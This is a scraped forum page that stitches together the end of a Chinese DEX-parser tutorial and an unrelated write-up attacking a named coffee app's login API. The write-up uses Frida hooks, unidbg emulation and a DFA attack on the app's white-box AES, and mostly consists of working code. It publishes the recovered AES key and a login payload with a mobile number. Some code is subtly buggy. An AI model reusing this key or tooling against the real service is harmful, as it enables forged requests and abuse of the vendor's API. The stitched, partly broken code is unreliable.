\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 | // 打印DexCode Todo: 解析DexCode字段 void DexFile::printDexCode(DexCode& dexCode) { // 打印基本信息 printf ( \\"DexCode:\\\\n\\" ); printf ( \\"RegsNum\\\\t\\\\tParamsNum\\\\tOutsNum\\\\t\\\\tTriesNum\\\\tDebugInfoOff\\\\tInsnsNum\\\\tInsnsOff\\\\n\\" ); printf ( \\"%08d\\\\t%08d\\\\t%08d\\\\t%08d\\\\t%08x\\\\t%08d\\\\t%08x\\\\n\\" ,dexCode.registersSize,dexCode.insSize,dexCode.outsSize,dexCode.triesSize,dexCode.debugInfoOff,dexCode.insnsSize,( uintptr_t )dexCode.insns-( uintptr_t )baseAddr); // 打印 printf ( \\"DexCode End\\\\n\\" ); } // 打印DexClassData的DexField项目 返回对应数组结构的大小 unsigned int DexFile::printClassDataItem(DexField* pFields,u4 fieldsNum) { u4 prevFieldIndex=0,offset=0; for ( int i=0;i<fieldsNum;i++) { DexField* pField=(DexField*)(( uintptr_t )pFields+offset); // 注意由于内部元素为uleb128类型,所以DexField大小并不固定,需要计算 size_t fieldIndexSize=0,accessFlagsValueSize=0; u4 fieldIndex=myReadUnsignedLeb128((u1*)pField,&fieldIndexSize); u4 accessFlagsValue=myReadUnsignedLeb128((u1*)pField+fieldIndexSize,&accessFlagsValueSize); std::string fieldName=getFieldIdDataByIndex(prevFieldIndex+fieldIndex); std::string accessFlags=parseAccessFlags(accessFlagsValue); printf ( \\"Field%d: %s\\\\n\\" ,i+1,combineAccFlagsAndName(accessFlags,fieldName).c_str()); prevFieldIndex+=fieldIndex; // 更新前一个filedIndex offset+=fieldIndexSize+accessFlagsValueSize; //当前数组结构的偏移 } return offset; //返回当前数组大小 } // 打印DexClassData的DexMethod项目 返回对应数组结构的大小 unsigned int DexFile::printClassDataItem(DexMethod* pMethods,u4 methodsNum) { u4 prevMethodIndex=0,offset=0; for ( int i=0;i<methodsNum;i++) { DexMethod* pMethod=(DexMethod*)(( uintptr_t )pMethods+offset); size_t methodIndexSize=0,accessFlagsValueSize=0,codeOffSize=0; // 相比DexField多了codeOff,指向DexCode结构 u4 methodIndex=myReadUnsignedLeb128((u1*)pMethod,&methodIndexSize); u4 accessFlagsValue=myReadUnsignedLeb128((u1*)pMethod+methodIndexSize,&accessFlagsValueSize); u4 codeOff=myReadUnsignedLeb128((u1*)pMethod+methodIndexSize+accessFlagsValueSize,&codeOffSize); std::string methodName=getMethodIdDataByIndex(prevMethodIndex+methodIndex); std::string accessFlags=parseAccessFlags(accessFlagsValue); printf ( \\"Method%d: %s\\\\n\\" ,i+1,combineAccFlagsAndName(accessFlags,methodName).c_str()); if (codeOff) { printf ( \\"CodeOff: %08x\\\\n\\" ,codeOff); printDexCode(*(DexCode*)(baseAddr+codeOff)); //打印codeOff指向的DexCode } else printf ( \\"No DexCode\\\\n\\" ); prevMethodIndex+=methodIndex; offset+=methodIndexSize+accessFlagsValueSize+codeOffSize; } return offset; } // 打印DexClassData void DexFile::printClassDefClassData(DexClassData& classData) { printf ( \\"ClassData:\\\\n\\" ); // 1.解析DexClassDataHeader 获取各uleb128字段保存的长度 const u1* pClassDataHeader=(u1*)&classData.header; const u1** pPClassDataHeader=&pClassDataHeader; u4 staticFieldsNum=readUnsignedLeb128(pPClassDataHeader); u4 instanceFieldsNum=readUnsignedLeb128(pPClassDataHeader); u4 directMethodsNum=readUnsignedLeb128(pPClassDataHeader); u4 virtualMethodsNum=readUnsignedLeb128(pPClassDataHeader); // pointer指向DexClassDataHeader后方第一个字节(即4个数组的内容),用于后续计算 uintptr_t pointer=(( uintptr_t )&classData+unsignedLeb128Size(staticFieldsNum) +unsignedLeb128Size(instanceFieldsNum) +unsignedLeb128Size(directMethodsNum) +unsignedLeb128Size(virtualMethodsNum)); // 2. 解析各个字段(判断是否存在对应字段) // 注意: // 1. fieldIdx和accessFlags均为uleb128类型 // 2. 数组首个fieldIndex和methodIndex是正确的,后续index是相对前一个index的偏移值(大部分为1) // 3. 由于各个结构大小不固定,但是四个数组是连续的,所以要使用offset记录前方数据的大小 unsigned int offset=0; if (staticFieldsNum) { printf ( \\"ClassData contains %d Static Fields:\\\\n\\" ,staticFieldsNum); offset+=printClassDataItem((DexField*)(pointer+offset),staticFieldsNum); printf ( \\"Static Fields End\\\\n\\" ); } else { printf ( \\"No Static Field\\\\n\\" ); } if (instanceFieldsNum) { printf ( \\"ClassData contains %d Instance Fields:\\\\n\\" ,instanceFieldsNum); offset+=printClassDataItem((DexField*)(pointer+offset),staticFieldsNum); printf ( \\"Instance Fields End\\\\n\\" ); } else { printf ( \\"No Instance Field\\\\n\\" ); } if (directMethodsNum) { printf ( \\"ClassData contains %d Directed Methods:\\\\n\\" ,directMethodsNum); offset+=printClassDataItem((DexMethod*)(pointer+offset),directMethodsNum); printf ( \\"Directed Methods End\\\\n\\" ); } else { printf ( \\"No Directed Method\\\\n\\" ); } if (virtualMethodsNum) { printf ( \\"ClassData contains %d Virtual Methods:\\\\n\\" ,virtualMethodsNum); offset+=printClassDataItem((DexMethod*)(pointer+offset),virtualMethodsNum); printf ( \\"Virtual Methods End\\\\n\\" ); } else { printf ( \\"No Virtual Method\\\\n\\" ); } printf ( \\"ClassData End\\\\n\\" ); } |
效果如下
\\n定义如下
\\n1 2 3 | struct DexEncodedArray { u1 array[1]; //encoded_array格式的数据 }; |
encoded_array格式定义如下:
\\n名称 | \\n格式 | \\n说明 | \\n
---|---|---|
size | \\nuleb128 | \\n表示数组中的元素数量 | \\n
values | \\nencoded_value[size] | \\n采用encoded_value编码的数据 | \\n
解析代码如下
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 | // 打印StaticValues 实际为DexEncodedArray结构 void DexFile::printClassDefStaticValues(DexEncodedArray& encodedArray) { size_t sizeLen=0; u4 size=myReadUnsignedLeb128((u1*)&encodedArray,&sizeLen); u1* pValues=(u1*)&encodedArray+sizeLen; printf ( \\"StaticValues contains %d values\\\\n\\" ,size); size_t offset=0,readSize=0; // offset保存前方已访问的结构大小,readSize为单次读取的大小 for ( int i=0;i<size;i++) { printf ( \\"%s\\\\n\\" ,parseEncodedValue(pValues+offset,readSize).c_str()); offset+=readSize; } printf ( \\"StaticValues End\\\\n\\" ); } |
效果如下
\\nJVM是java语言的虚拟机,运行.class文件
\\nDalvik是google设计的用于Android平台的虚拟机,运行.dex文件
\\nJVM基于栈,DVM基于寄存器,可以做到更好的提前优化,并且运行速度更快
\\nAndroid 4.4首次提出ART虚拟机,在Android 5.0后弃用Dalvik,默认使用ART,运行oat文件
\\nDVM应用运行时,字节码需要通过即时编译器JIT转换为机器码运行
\\nART则在应用第一次安装时,预先将字节码编译为机器码,该过程称之为预编译(AOT Ahead of time)
\\n.java文件 经javac编译后生成 .class 文件 再通过dx/d8生成.dex文件
\\nDalvik虚拟机运行.dex文件,一个apk包内可能含有多个dex文件
\\nAndroid5.0前,使用Dalvik虚拟机,ODEX是Dalvik对Dex文件优化后的产物, 通常存放在/data/dalvik-cache目录下
\\n运行程序时直接加载odex文件,避免重复验证和优化
\\nAndroid 5.0后,使用ART虚拟机, .odex实际上是OAT文件(ART定制的ELF文件)
\\nOAT文件是Android4.4中引入的, Android5.0后,系统默认虚拟机为ART
\\nOAT文件即是ART虚拟机对Dex优化后的产物,是Android定制的ELF文件
\\nOAT文件结构随Android版本变化而变化,没有向后兼容性
\\nVDEX文件在Android 8.0后引入, 不是Android系统的可执行文件,
\\nAndroid 8.0后, dex2oat将class.dex优化生成2个文件: OAT文件(.odex)和VDEX文件(.vdex)
\\n.art文件是一种ELF可执行文件 借助odex文件优化生成, 记录应用启动的热点函数相关地址,便于寻址加速
\\nart文件结构随android版本变化,无向后兼容性
\\nDalvik 可执行文件格式 Android官方文档
\\n\\n\\n从JVM到Dalivk再到ART(class,dex,odex,vdex,ELF)
\\nandroid的dex,odex,oat,vdex,art文件格式
\\n\\n附件: ReadDex.zip 工程项目压缩包
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
\\n\\n\\n\\n\\n\\n上传的附件:\\n本文目标 app 使用了 白盒 AES,且进行了一定程度的 ollvm。使用 unidbg 作为主要的分析工具,配合 DFA 攻击找到了 AES的 key。
\\n登录接口:https://capi.xxxxx.com/resource/m/user/login
\\n版本:5001
\\n目标参数 :sign 和 q
\\njadx 打开 apk。这标致 某60的加固。
\\n拿出神器 xrt 脱壳完成之后搜索 sign ,没找到。可能是字符串做了加密。换方案,使用 hook 。
\\n1 2 3 4 5 6 7 8 9 10 11 12 | function call_HashMap() { Java.perform( function () { var hashMap = Java.use( \\"java.util.HashMap\\" ); hashMap.put.implementation = function (a, b) { if (a != null && a.equals( \\"sign\\" )) { console.log(Java.use( \\"android.util.Log\\" ).getStackTraceString(Java.use( \\"java.lang.Throwable\\" ).$ new ())) console.log( \\"hashMap.put: \\" , a, b); } return this .put(a, b); } }) } |
分析有包名的地方
\\n从 com.lucky.lib.http2.AbstractLcRequest.getRequestParams 开始分析 。有几个可疑的数值,写个主动调用看看是什么。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 | function call_so() { Java.perform( function () { var Class = Java.use( \'com.stub.StubApp\' ); // var result = Class[\'getString2\'](\'7719\'); //sign // console.log(result); // var result = Class[\'getString2\'](\'16944\'); // uid // console.log(result); // var result = Class[\'getString2\'](\'4005\'); // cid // console.log(result); // var result = Class[\'getString2\'](\'457\'); // q // var result = Class[\'getString2\'](\'30491\'); // cryptoDD console.log(result); }) } |
先分析 q ,它来自 b2,b2从 c.b 的函数来。
\\n看到这里有两个aes加密,且最后函数返回的时候,还做了 base64 的编码。把 + 替换成 - 。把 / 替换成 _ 。
\\n继续跟进。两个都是 native 层的函数了。具体是调用了那个函数,之后通过 hook 就可以知道。
\\n再回头分析 sign 。 7719 是我们的目标参数 sign 。那么就跟进后面的函数 r.a() 。
\\n同样进入了 CryptoHelper
\\n这个函数最后面调用了 md5_crypt ,也是个 native 函数。md5_crypt 第二个参数应该传入的是 int 型,有兴趣的可以打印输出一下。
\\n到这里我们可以大概做了总结 sign 来自 md5_crypt 结果, q 值来自 aes 的结果。
\\n分辨 hook CryptoHelper 中的几个 native 函数。看看在登录接口使用了哪个函数。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | function crypt_test() { Java.perform( function () { if (Java.available) { let CryptoHelper = Java.use( \\"com.luckincoffee.safeboxlib.CryptoHelper\\" ); CryptoHelper[ \\"localAESWork\\" ].implementation = function (bArr, i2, bArr2) { console.log(`CryptoHelper.localAESWork is called: bArr=${bytesToString(bArr)}, i2=${i2}, bArr2=${bArr2}`); // console.log(`CryptoHelper.localAESWork is called: bArr=${bArr}, i2=${i2}, bArr2=${bArr2}`); let result = this [ \\"localAESWork\\" ](bArr, i2, bArr2); // console.log(`CryptoHelper.localAESWork result=${result}`); return result; }; CryptoHelper[ \\"localAESWork4Api\\" ].implementation = function (bArr, i2) { console.log(`CryptoHelper.localAESWork4Api is called: bArr=${bytesToString(bArr)}, i2=${i2}`); let result = this [ \\"localAESWork4Api\\" ](bArr, i2); // console.log(`CryptoHelper.localAESWork4Api result=${result}`); return result; }; CryptoHelper[ \\"localConnectWork\\" ].implementation = function (bArr, bArr2) { console.log(`CryptoHelper.localConnectWork is called: bArr=${bytesToString(bArr)}, bArr2=${bArr2}`); let result = this [ \\"localConnectWork\\" ](bArr, bArr2); // console.log(`CryptoHelper.localConnectWork result=${result}`); return result; }; CryptoHelper[ \\"md5_crypt\\" ].implementation = function (bArr, i2) { console.log(`CryptoHelper.md5_crypt is called: bArr=${bytesToString(bArr)}, i2=${i2}`); let result = this [ \\"md5_crypt\\" ](bArr, i2); // console.log(`CryptoHelper.md5_crypt result=${result}`); return result; }; } }) } |
hook 之后发现 先调用了 localAESWork4Api 再调用了 md5_crypt。也就可以理解为先生成 q 再生成 sign
\\n接下来就进入 native 层分析
\\nso 导入 IDA 搜索 java 没有找到导出函数
\\n翻了 davadiv 这个特征,这是 ollvm 的特征,说明 so 的代码被混淆了。不过依然是可以分析的。
\\n首先需要找到入口函数的地址。这里肯定是就是动态注册函数了。有两种方案获取到对应的地址,第一 unidbg 第二通过 frida Hook RegisterNative 获取到对应的地址。两种都演示一下
\\n通过 unidbg
\\n这里运气比较好,这个SO 不用补环境就可以跑起来
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | public class fkLucky extends AbstractJni { private AndroidEmulator emulator; private VM vm; private final Module module; public fkLucky() { emulator = AndroidEmulatorBuilder.for32Bit() .setProcessName( \\"com.lucky.luckyclient\\" ) .build(); final Memory memory = emulator.getMemory(); memory.setLibraryResolver( new AndroidResolver( 23 )); vm = emulator.createDalvikVM( new File( \\"unidbg-android/src/test/java/com/com/cloudy/linglingbang/linglingbang8.2.4.apk\\" )); vm.setJni( this ); vm.setVerbose( true ); DalvikModule dm = vm.loadLibrary( new File( \\"unidbg-android/src/test/java/com/com/lucky/luckyclient/libcryptoDD5001.so\\" ), true ); //如果 so 中依赖了 app 的其他 so,可以使用这种方式加载,unidbg 会自动取寻找对应的so // DalvikModule dm = vm.loadLibrary(new File(\\"encrypt\\"),true); module = dm.getModule(); dm.callJNI_OnLoad(emulator); } public static void main(String[] args) { fkLucky lucky = new fkLucky(); } } |
注册了 4 个函数
\\nfrida Hook
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | function hook_dynamic_register_func() { // 获取 RegisterNatives 函数的内存地址,并赋值给addrRegisterNatives。 var addrRegisterNatives = null ; var symbols = Module.enumerateSymbolsSync( \\"libart.so\\" ); for ( var i = 0; i < symbols.length; i++) { var symbol = symbols[i]; if (symbol.name.indexOf( \\"art\\" ) >= 0 && symbol.name.indexOf( \\"JNI\\" ) >= 0 && symbol.name.indexOf( \\"RegisterNatives\\" ) >= 0 && symbol.name.indexOf( \\"CheckJNI\\" ) < 0) { addrRegisterNatives = symbol.address; console.log( \\"RegisterNatives is at \\" , symbol.address, symbol.name); break } } if (addrRegisterNatives) { Interceptor.attach(addrRegisterNatives, { onEnter: function (args) { var env = args[0]; // jni对象 var java_class = args[1]; // 类 var class_name = Java.vm.tryGetEnv().getClassName(java_class); var taget_class = \\"com.luckincoffee.safeboxlib.CryptoHelper\\" ; //111 某个类中动态注册的so if (class_name === taget_class) { console.log( \\"\\\\n[RegisterNatives] method_count:\\" , args[3]); var methods_ptr = ptr(args[2]); var method_count = parseInt(args[3]); for ( var i = 0; i < method_count; i++) { // Java中函数名字的 var name_ptr = Memory.readPointer(methods_ptr.add(i * Process.pointerSize * 3)); // 参数和返回值类型 var sig_ptr = Memory.readPointer(methods_ptr.add(i * Process.pointerSize * 3 + Process.pointerSize)); // C中的函数内存地址 var fnPtr_ptr = Memory.readPointer(methods_ptr.add(i * Process.pointerSize * 3 + Process.pointerSize * 2)); var name = Memory.readCString(name_ptr); var sig = Memory.readCString(sig_ptr); var find_module = Process.findModuleByAddress(fnPtr_ptr); // 地址、偏移量、基地址 var offset = ptr(fnPtr_ptr).sub(find_module.base); console.log( \'class_name:\' , class_name, \\"name:\\" , name, \\"sig:\\" , sig, \'module_name:\' , find_module.name, \\"offset:\\" , offset); } } } }); } } |
同样可以看到注册了 4 个函数
\\n使用 unidbg 进行算法分析。
\\n前面的 unidbg 运行起来后最前面有一行日志
\\n加载了 libandroid.so 失败,这个 so 是android 系统自带的 so 。同时它也依赖了很多其他的 so 。不好同时都导入。这里使用 unidbg 的VirtualModule 导入一个虚拟的 so。就没有这个错误日志了
\\n主动调用算法 localAESWork4Api
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | private void callNativeFunc() { //args List<Object> args = new ArrayList<>( 10 ); args.add(vm.getJNIEnv()); args.add( 0 ); //jclass String par1 = \\"lvdouzhou\\" ; args.add(vm.addLocalObject( new ByteArray(vm, par1.getBytes()))); args.add( 0 ); //最后一个参数 //主动调用功能 Number retNum = module.callFunction(emulator, 0x1b1cd ,args.toArray()); ByteArray retByteArr = vm.getObject(retNum.intValue()); String retStr = Base64.getEncoder().encodeToString(retByteArr.getValue()); System.out.println( \\"retBs64:\\" +retStr); } |
IDA 分析SO 。入口在 localAESWork4Api 0x1b1cd,IDA 中 按 G 跳转。这个函数看着名字像白盒 AES
\\n一眼看过去 就是调用了 android_native_wbaes_jni ,进入分析。
\\n这个函数里面有很多的虚假控制流,不能按常规的直接直接分析。我们向下滑动看看有没有什么特征函数。
\\n可以看到 PKCS5Padding wbaes_decrypt_ecb 。继续向下看看有没有加密的
\\n找到了 wbaes_encrypt_ecb ,这个好了 ecb 不用找 iv 了。下个断点看看情况,目标地址 17BD4。
\\n1 2 3 4 5 6 7 8 9 10 | private void hookNativeFunc() { Debugger debugger = emulator.attach(); // wbaes_encrypt_ecb debugger.addBreakPoint(module.base + 0x17BD4 , new BreakPointCallback() { @Override public boolean onHit(Emulator<?> emulator, long address) { return false ; } }); } |
第一个参数是传入的要加密的数据,第二参数是数据的长度,第三个参数返回的数据,第四个参数是 mode =0
\\nr1=0x10 也就是十进制的 16 ,表示一个分组的长度 。AES 一个分组长度固定是 16字节 。
\\n再看看第一个参数,确实是我们的数据。整个数据 16 字节,填充了 07 。传入的是 lvdouzhou 长度为 6 ,16 -9 = 7 。十六进制就是 0x07。刚好印证了前面的 PKCS5 填充。
\\n再验证一个是否是 ECB 模式。ECB 模式将明文数据分成固定大小的块,然后对每个块独立进行加密。也是因为每一块是独立加密的,所以如果有两个 16 字节的数据是相同的,加密的结果也相同。根据这一个特点,修改入参为两个 相同的16字节数据 lvdouzhoulvdouzhlvdouzhoulvdouzh。
\\nlr 寄存器存放是函数返回的地址。在 lr 下一个断点,就可以知道这个函数返回的数据。在命令输入 blr 回车之后,按 c 继续执行。函数执完返回时,会自动触发断点。
\\n第三个参数是返回值 也就是 mr2 的地址
\\n读取这个地址的数据
\\n可以看到两个 16 字节的数据都是相同的,确认是 ecb 模式啦 !
\\n接着这个函数继续分析 ,依然是控制流平坦化,也就是 ollvm 。先跟着参数分析一下,第三个是返回值,我们选中它。按 x 查看引用。
\\n先看第一个引用
\\n应该是把 v29 复制给了 out 。x 查看 v29 的引用。我们往前查看引用,因为 v29 一定是在前面生成的。
\\n找到了 aes128_enc_wb_coff ,一目了然 aes 算法。没什么说的,继续跟进。
\\n大概浏览一下,也是做了 ollvm 混淆。但是还有很多特征的。例如看到一个 行位移。
\\n其中的 Tboxes 通过名字猜测可能是 aes 的查表法。
\\n\\n\\nAES 的某些步骤(如字节替换和列混淆)可以通过预先计算的表格来实现,从而避免在运行时进行复杂的计算。
\\n
点击跳转过去也是一个很大的数组,应该就是提前计算好的数据了。
\\n到这里可以确定是一个白盒的 AES,使用的的 ecb 模式。
\\n确认十轮运算的位置 。因为里面有两个 wbShiftRows 分别 hook 看那个是我们目标攻击点。
\\n0x15AD6 0x154E8
\\n0x15AD6 没有走。0x154E8 进入了 10 ,记得把入参限制在16 个字节内,让 AES 加密一次即可。
\\ndfa 攻击。在第 9 轮循环注入我们的故障文。通过 Inspect 确定一下注入是否正常
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | private void call_dfa() { // void __fastcall wbShiftRows(uint8_t *out) // 这个函数的入参就是明文 state emulator.attach().addBreakPoint(module.base + 0x14F98 , new BreakPointCallback() { int count = 0 ; UnidbgPointer r0pointer; RegisterContext ctx = emulator.getContext(); @Override public boolean onHit(Emulator<?> emulator, long address) { r0pointer = ctx.getPointerArg( 0 ); count++; if (count % 9 == 0 ) { System.out.println( \\"hit-> \\" +count); Inspector.inspect(r0pointer.getByteArray( 0 , 16 ), \\"r0pointer->before\\" ); r0pointer.setByte(randint( 0 , 15 ),( byte )randint( 0 , 0xff )); Inspector.inspect(r0pointer.getByteArray( 0 , 16 ), \\"r0pointer->after\\" ); } return true ; } }); } |
可以看到只影响了一个字节的数据,达到了预期。
\\n对比最终结果。影响了 4 个字节,达到了预期 。
\\n批量注入故障文,获取故障结果
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 | public class fkLucky extends AbstractJni { private AndroidEmulator emulator; private VM vm; private final Module module; public fkLucky() { emulator = AndroidEmulatorBuilder.for32Bit() .setProcessName( \\"com.lucky.luckyclient\\" ) .build(); final Memory memory = emulator.getMemory(); memory.setLibraryResolver( new AndroidResolver( 23 )); vm = emulator.createDalvikVM( new File( \\"unidbg-android/src/test/java/com/com/cloudy/linglingbang/linglingbang8.2.4.apk\\" )); vm.setJni( this ); vm.setVerbose( true ); new AndroidModule(emulator, vm).register(memory); DalvikModule dm = vm.loadLibrary( new File( \\"unidbg-android/src/test/java/com/com/lucky/luckyclient/libcryptoDD5001.so\\" ), true ); //如果 so 中依赖了 app 的其他 so,可以使用这种方式加载,unidbg 会自动取寻找对应的so module = dm.getModule(); dm.callJNI_OnLoad(emulator); } private void callNativeFunc() { //args List<Object> args = new ArrayList<>( 10 ); args.add(vm.getJNIEnv()); args.add( 0 ); //jclass // String par1 = \\"lvdouzhoulvdouzhlvdouzhoulvdouzh\\"; String par1 = \\"lvdouzhou\\" ; args.add(vm.addLocalObject( new ByteArray(vm, par1.getBytes()))); args.add( 0 ); //最后一个参数 //主动调用功能 Number retNum = module.callFunction(emulator, 0x1b1cd , args.toArray()); ByteArray retByteArr = vm.getObject(retNum.intValue()); String retStr = Base64.getEncoder().encodeToString(retByteArr.getValue()); System.out.println( \\"retBs64:\\" + retStr); } public static String bytesToHex( byte [] bytes) { StringBuilder sb = new StringBuilder(); for ( byte b : bytes) { int unsignedInt = b & 0xff ; String hex = Integer.toHexString(unsignedInt); if (hex.length() == 1 ) { sb.append( \'0\' ); } sb.append(hex); } return sb.toString(); } public static byte [] hexToBytes(String hexString) { // 将十六进制字符串转换为字节数组 return DatatypeConverter.parseHexBinary(hexString); } private void call_wbaes_encrypt_ecb() { //调用 wbaes_encrypt_ecb MemoryBlock inputBlock = emulator.getMemory().malloc( 16 , true ); UnidbgPointer inDataPointer = inputBlock.getPointer(); MemoryBlock outputBlock = emulator.getMemory().malloc( 16 , true ); UnidbgPointer outDataPointer = inputBlock.getPointer(); // 传入的数据要填充满 byte [] inByteData = hexToBytes( \\"6c76646f757a686f7507070707070707\\" ); //lvdouzhou assert inByteData != null ; inDataPointer.write( 0 , inByteData, 0 , inByteData.length); //wbaes_encrypt_ecb(const uint8_t *in, uint32_t in_len, uint8_t *out, uint32_t mode) module.callFunction(emulator, 0x17bd5 , inDataPointer, 16 , outDataPointer, 0 ); String ret = bytesToHex(outDataPointer.getByteArray( 0 , 0x10 )); //16字节 System.out.println(ret); inputBlock.free(); ; outputBlock.free(); } private void hookNativeFunc() { Debugger debugger = emulator.attach(); // wbaes_encrypt_ecb debugger.addBreakPoint(module.base + 0x17BD4 , new BreakPointCallback() { @Override public boolean onHit(Emulator<?> emulator, long address) { return false ; } }); } private void dfa() { Debugger debugger = emulator.attach(); debugger.addBreakPoint(module.base + 0x154E8 , new BreakPointCallback() { int count = 0 ; @Override public boolean onHit(Emulator<?> emulator, long address) { RegisterContext ctx = emulator.getContext(); count++; System.out.println( \\"0x154E8->\\" + count); // 在函数返回的地方下断点,获取到返回值 emulator.attach().addBreakPoint(ctx.getLRPointer().peer, new BreakPointCallback() { @Override public boolean onHit(Emulator<?> emulator, long address) { return true ; } }); return true ; } }); } public static int randint( int min, int max) { Random rand = new Random(); return rand.nextInt((max - min) + 1 ) + min; } private void call_dfa() { // void __fastcall wbShiftRows(uint8_t *out) // 这个函数的入参就是明文 state emulator.attach().addBreakPoint(module.base + 0x14F98 , new BreakPointCallback() { int count = 0 ; UnidbgPointer r0pointer; RegisterContext ctx = emulator.getContext(); @Override public boolean onHit(Emulator<?> emulator, long address) { r0pointer = ctx.getPointerArg( 0 ); count++; if (count % 9 == 0 ) { // System.out.println(\\"hit-> \\"+count); // Inspector.inspect(r0pointer.getByteArray(0,16),\\"r0pointer->before\\"); r0pointer.setByte(randint( 0 , 15 ), ( byte ) randint( 0 , 0xff )); // Inspector.inspect(r0pointer.getByteArray(0,16),\\"r0pointer->after\\"); } return true ; } }); } public static void main(String[] args) { fkLucky lucky = new fkLucky(); // lucky.hookNativeFunc(); // lucky.dfa(); // lucky.callNativeFunc(); for ( int i = 0 ; i < 200 ; i++) { lucky.call_dfa(); lucky.call_wbaes_encrypt_ecb(); } } } |
的到的故障文,第一行放入正确的密文
\\n使用 phoenixAES 推到 k10
\\n1 2 3 | import phoenixAES phoenixAES.crack_file(r \\".\\\\ruixin5001dfa.log\\" ,[], True , False ,verbose = 2 ) |
用phoenixAES库得到第10轮秘钥 869D92BBB700D0D25BD9FD3E224B5DF2。
\\n在用 stark 推导 k00
\\n1 | .\\\\starkAES.exe 869D92BBB700D0D25BD9FD3E224B5DF2 10 |
推导出的秘钥为 644A4C64434A69566E44764D394A5570
\\n验证一下
\\n没问题,和正常密文一样。
\\n重新hook一下 java层获取到实际的入参
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | function bytesToHex(arr) { /** * byte 转换成 hex */ var str = \'\' ; var k, j; for ( var i = 0; i < arr.length; i++) { k = arr[i]; j = k; if (k < 0) { j = k + 256; } if (j < 16) { str += \\"0\\" ; } str += j.toString(16); } return str; } function crypt_test() { Java.perform( function () { if (Java.available) { let CryptoHelper = Java.use( \\"com.luckincoffee.safeboxlib.CryptoHelper\\" ); CryptoHelper[ \\"localAESWork4Api\\" ].implementation = function (bArr, i2) { console.log(`CryptoHelper.localAESWork4Api is called: bArr=${bytesToString(bArr)}, i2=${i2}`); let result = this [ \\"localAESWork4Api\\" ](bArr, i2); console.log(`CryptoHelper.localAESWork4Api result=${bytesToHex(result)}`); return result; }; } }) } |
\\n\\n{\\"blackBox\\":\\"eyJvcyI6ImFuZHJvaWQiLCJ2ZXJzaW9uIjoiMy4zLjciLCJwYWNrYWdlcyI6ImNvbS5sdWNreS5sdWNreWNsaWVudComNS4wLjAxIiwicHJvZmlsZV90aW1lIjoxNDcsImludGVydmFsX3RpbWUiOjIxNzMsInRva2VuX2lkIjoibk9cL2VhbHJjQkY2WU5wUGF0dDk4Q292T1FUYkRFUEM4NHFVM1ozSThLa2xcL1RNb1J1WUZWcGd6QVwvOGZ4T01zcHJvYXFmaEZXSWpNb2RHWENnYkw3SzFHYzBTdDY2cjFpZE5tNXFJS1Zkc2M9In0=\\",\\"uniqueCode\\":\\"DU5SBJsdw1JfKSzzQ22IzTIOzNbvm6BpYQd8RFU1U0JKc2R3MUpmS1N6elEyMkl6VElPek5idm02QnBZUWQ4c2h1\\",\\"regionId\\":\\"CO0001\\",\\"mobile\\":\\"15712170935\\",\\"countryNo\\":\\"86\\",\\"validateCode\\":\\"111111\\",\\"regId\\":\\"\\",\\"appversion\\":\\"5001\\",\\"type\\":1,\\"deviceId\\":\\"android_lucky_d169e58de60a856d\\",\\"systemVersion\\":\\"29\\",\\"deviceBrand\\":\\"google\\"},
\\n
返回值
\\n\\n\\nf2947f561248ad6af3fed66d57a0421d589a5be55cb087a6d4713acfbc4d458c95b4af52a9682bae07dbde2164288106b1fad28d1ddd4215d24cb5460911c48a0b122278984d473519b59a3cc4b594e63dbd9db1df3d262bb80dcdaf6553d87c37e4b306663585e7a3030a4a01a186657729123bd72acb773f17a4567cbdb829c991f5ba5546edf952866d04b57aff503d0ff0e69370466258da89bffa296987510c12704172f9d3f276ec47556dad9c251342d87b938188ebc3489241795ae0e8cf5d3dafbebbeff75731fe42ed3452f081275c8632fe1b9a4447f5bb40c3f1fd5f0e29416f5548fc64f5e15460d58aa5fbd9de0d44edaf5e502efee22e2df8ebe38fef2d839b2c9a4c9c10433eb0f8751705162db79cf73ea6c25ce3c96df92a674c84bf65fc92073df7d305d81ab94039e8c655d9fe253147db3197def0b970ddd0744b4ef458ed9c5ac523643c276662a0a7cec3a5a28b17b7b601f9e012640b82cbbd195205c62da34d2e82632d5c2233b242c2bbf38ea17bfe68def166e850c806de0c018ce2cbcfc6a6bb05fa79a1f2c73fc309bd70bb57b48942aff1c17534ec96cddfa265e32baa759553bdf0f2f1af9ba704e52f5977a132cb157bab0700b6d61e0749fca0f5ef1bc870915de3862bb151a9b9af3b17eb3cd369109072a14f977d43fb82069b09578cb28c6e325ac12e917dcf135f89d815bd429aef6ef28bb6d7d89adeea1d4f5106b03e316b7afd934630f4138bcba2a9dfc7d79c5bdcd9a1c8e4791e698e2dde4063dff86f2a8f5e8ad9